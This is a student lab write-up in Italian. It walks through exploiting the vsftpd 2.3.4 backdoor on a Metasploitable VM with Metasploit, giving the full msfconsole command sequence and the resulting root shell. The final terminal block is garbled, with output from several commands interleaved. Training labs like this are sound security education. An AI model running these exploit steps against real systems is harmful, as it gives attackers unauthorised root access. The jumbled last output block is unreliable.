

S7L1 HACKING CON METASPLOIT

Completare una sessione di hacking sul servizio “vsftpd” della macchina Metasploitable.

Come richiesto dall’esercizio ho dato alla macchina Metasploitable l’ip 192.168.1.149/24, ho poi verificato con il comando *ping* da Kali che comunicassero tra di loro.

```
(kali@kali)-[~]
$ ping 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=2.26 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=2.40 ms
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=2.33 ms
64 bytes from 192.168.1.149: icmp_seq=4 ttl=64 time=2.00 ms
^C
— 192.168.1.149 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 1.995/2.244/2.397/0.152 ms
```

Abbiamo aperto il terminale da Kali e digitato “*msfconsole*” come comando. Siamo così entrati nel prompt di Metasploit. Con “*search vsftpd*” ci mostrerà un elenco di exploit e moduli ausiliari relativi a vsftpd. Abbiamo individuato l’exploit da provare, c’è una backdoor e si può ottenere una shell di root. Con il comando *use* seguito dall’exploit che vogliamo utilizzare (*use exploit/unix/ftp/vsftpd_234_backdoor*). Visualizzeremmo le opzioni con *show options*.

```
msf6 > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date   Rank      Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03       normal    Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03       excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
-  -  -
CHOST      192.168.1.149    no        The local client address
CPORT      21               no        The local client port
Proxies    nil              no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21              yes       The target port (TCP)
```

Impostiamo l'indirizzo IP della macchina target con *set RHOSTS 192.168.1.149*. Con *show payloads* andremmo a vedere quelli disponibili, in questo caso solo uno ed andremo ad utilizzare quello che è configurato di default. Lanciamo poi l'attacco con il comando *exploit*.

Una volta dentro la macchina, abbiamo creato la cartella con il comando *mkdir /test_metasploit*.

```
kali@kali: ~  
File Actions Edit View Help  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149  
RHOSTS => 192.168.1.149  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads  
Compatible Payloads set KEYID ALGO  
rc show  
ip sr tursrc set ADDRESS  
ip # Name := { sha1 | sha256 } Disclosure Date Rank Check Description  
- - - - -  
0 payload/cmd/unix/interact . normal No Unix Command, Interact with E  
stablished Connection  
ip ip <LOOPBACK,UP,LOWER_UP> mtu 65536 ndisc noqueue state UNKNOWN group default qlen 1000  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit 0/00  
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)  
[*] 192.168.1.149:21 - USER: 331 Please specify the password.  
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...  
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)  
[*] Found shell.  
[*] Command shell session 1 opened (192.168.1.20:40903 -> 192.168.1.149:6200) at 2025-05-13 22  
:36:40 +0200  
inet 192.168.1.149/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0  
mkdir /test_metasploit sec preferred_lft 85841sec  
^C inet6 fe80::a2c:39d:d48b/64 scope link noprefixroute  
Abort session 1? [y/N] n  
[*] Aborting foreground process in the shell session  
sh: line 7: : command not found  
mkdir /test_metasploit > /dev/null 2>&1  
ip ip <LOOPBACK,UP,LOWER_UP> mtu 65536 ndisc noqueue state UNKNOWN group default qlen 1000  
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
ls inet 127.0.0.1/8 scope host lo  
bin valid_lft forever preferred_lft forever  
boot inet6 ::1/128 scope host noprefixroute  
cdrom valid_lft forever preferred_lft forever  
dev <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen  
etc  
home link/ether 08:00:27:04:42:0f brd ff:ff:ff:ff:ff:ff  
initrd ip 192.168.178.130/24 brd 192.168.178.255 scope global dynamic noprefixroute eth0  
initrd.img id_lft 85841sec preferred_lft 85841sec  
lib inet6 fe80::75db:b22f:4b8e:3db5/64 scope global dynamic noprefixroute  
lost+found id_lft 7129sec preferred_lft 3529sec  
media inet6 fe80::a2c:39d:d48b/64 scope link noprefixroute  
mnt valid_lft forever preferred_lft forever  
nohup.out  
opt kali@kali:~$  
proc /usr/sbin/sshd  
root: password for kali:  
sbin /dev/eth0, type: EN10MB, MAC: 08:00:27:04:42:0f, IPv4: 192.168.178.130  
srv WING: Cannot open MAC/vendor file ieee-oui.txt: Permission denied  
sys WING: Cannot open MAC/vendor file mac-vendor.txt: Permission denied  
test_metasploit on 1.10.0 with 256 hosts (https://github.com/roynhills/arp-scan)  
tmp 108.175.1 - 2c:91:1a:b7:48:65 (Unknown)
```